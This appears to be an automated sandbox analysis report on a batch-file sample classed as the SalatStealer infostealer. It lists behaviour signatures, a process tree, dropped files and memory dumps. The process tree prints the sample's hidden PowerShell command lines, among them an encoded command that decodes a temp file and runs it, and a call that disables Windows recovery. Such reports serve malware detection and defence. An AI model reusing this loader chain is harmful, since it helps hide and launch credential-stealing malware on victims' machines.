Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:51

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-eekn2ag12v
  • SHA256 4a27a183542b5b474df235d24476a5d40a011b691bac4122f1599dd1e7906ed4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 17 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5136
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5380
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xrz4ctye\xrz4ctye.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3488
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF49C.tmp" "c:\Users\Admin\AppData\Local\Temp\xrz4ctye\CSC824243DFFD1C4F449261A2F0224F63F8.TMP"
              6⤵
                PID:3788
            • C:\Users\Admin\AppData\Local\Temp\p_ec1d5109-aab5-4304-925d-58d75641f68d.exe
              "C:\Users\Admin\AppData\Local\Temp\p_ec1d5109-aab5-4304-925d-58d75641f68d.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1904
              • C:\Program Files (x86)\MSBuild\OfficeClickToRun.exe
                "C:\Program Files (x86)\MSBuild\OfficeClickToRun.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4528
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3584
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4280
                • C:\Program Files (x86)\Microsoft\Edge\Application\OfficeClickToRun.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\OfficeClickToRun.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5584
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:2868
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:4056

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RESF49C.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESF49C.tmp
              • Size 1KB
              • SHA256 731e911ef89adf287597686422b7058b37781404b395774445c14a55bd97c611
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_ajkxmuif.z1c.psm1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajkxmuif.z1c.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 169KB
              • SHA256 17a866aba5141fe92e33cdf49a4899b3bffd01c6fc3b3b856131d234783d8915
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_ec1d5109-aab5-4304-925d-58d75641f68d.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_ec1d5109-aab5-4304-925d-58d75641f68d.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              xrz4ctye.dll

              • Path C:\Users\Admin\AppData\Local\Temp\xrz4ctye\xrz4ctye.dll
              • Size 5KB
              • SHA256 2229fd45921ada0f29140b5aeefee2a7897ee42a2e993cf95183f78e83f1ed08
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSC824243DFFD1C4F449261A2F0224F63F8.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xrz4ctye\CSC824243DFFD1C4F449261A2F0224F63F8.TMP
              • Size 652B
              • SHA256 c3bf111862dbcb863bafc6c93e60e1c233c775d7a0cc4c01ba354e208aaeadcf
              • MD5 SHA1 SHA512 TLSH

              xrz4ctye.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xrz4ctye\xrz4ctye.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              xrz4ctye.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xrz4ctye\xrz4ctye.cmdline
              • Size 369B
              • SHA256 adff84cd7eb0bc5f975f6ef45b28674bde5ea1cad138b326de560de96692e7f7
              • MD5 SHA1 SHA512 TLSH

              memory/1904-850-0x0000000000AD0000-0x0000000001725000-memory.dmp

              memory/1904-853-0x0000000000AD0000-0x0000000001725000-memory.dmp

              memory/1904-854-0x0000000000AD0000-0x0000000001725000-memory.dmp

              memory/1904-855-0x0000000000AD0000-0x0000000001725000-memory.dmp

              memory/1904-862-0x0000000000AD0000-0x0000000001725000-memory.dmp

              memory/3584-887-0x000000006FF80000-0x000000006FFCC000-memory.dmp

              memory/3584-893-0x0000000008220000-0x000000000889C000-memory.dmp

              memory/3584-898-0x0000000008E60000-0x000000000941A000-memory.dmp

              memory/3584-897-0x00000000080E0000-0x0000000008102000-memory.dmp

              memory/3584-896-0x0000000007CE0000-0x0000000007D76000-memory.dmp

              memory/3584-895-0x0000000007C30000-0x0000000007C3A000-memory.dmp

              memory/3584-894-0x0000000007BD0000-0x0000000007BEA000-memory.dmp

              memory/3584-892-0x0000000007AB0000-0x0000000007B53000-memory.dmp

              memory/3584-891-0x0000000007A90000-0x0000000007AB0000-memory.dmp

              memory/3584-888-0x00000000700E0000-0x000000007043B000-memory.dmp

              memory/3584-886-0x0000000007A50000-0x0000000007A86000-memory.dmp

              memory/3584-883-0x00000000075F0000-0x0000000007638000-memory.dmp

              memory/3584-876-0x0000000006950000-0x000000000699C000-memory.dmp

              memory/3584-875-0x0000000006600000-0x000000000661E000-memory.dmp

              memory/3584-874-0x0000000006260000-0x00000000065BB000-memory.dmp

              memory/3584-870-0x0000000006020000-0x0000000006086000-memory.dmp

              memory/3584-871-0x0000000006090000-0x00000000060F6000-memory.dmp

              memory/3584-869-0x0000000005800000-0x0000000005822000-memory.dmp

              memory/3584-868-0x00000000058A0000-0x0000000005EEA000-memory.dmp

              memory/3584-867-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

              memory/4528-905-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-913-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-863-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-864-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-865-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-866-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-912-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-911-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-910-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-909-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-908-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-907-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/4528-906-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/5136-0-0x00007FFC2F09F000-0x00007FFC2F0A0000-memory.dmp

              memory/5136-9-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5136-3-0x000001953A8F0000-0x000001953A912000-memory.dmp

              memory/5136-5-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5136-6-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5136-4-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5136-8-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-826-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-812-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-820-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-821-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-816-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-824-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-823-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-822-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-815-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-825-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-811-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-819-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-817-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-852-0x00007FFC2EF10000-0x00007FFC2F8B4000-memory.dmp

              memory/5380-840-0x00000174CA850000-0x00000174CA858000-memory.dmp

              memory/5584-885-0x00000000002E0000-0x0000000000F35000-memory.dmp

              memory/5584-882-0x00000000002E0000-0x0000000000F35000-memory.dmp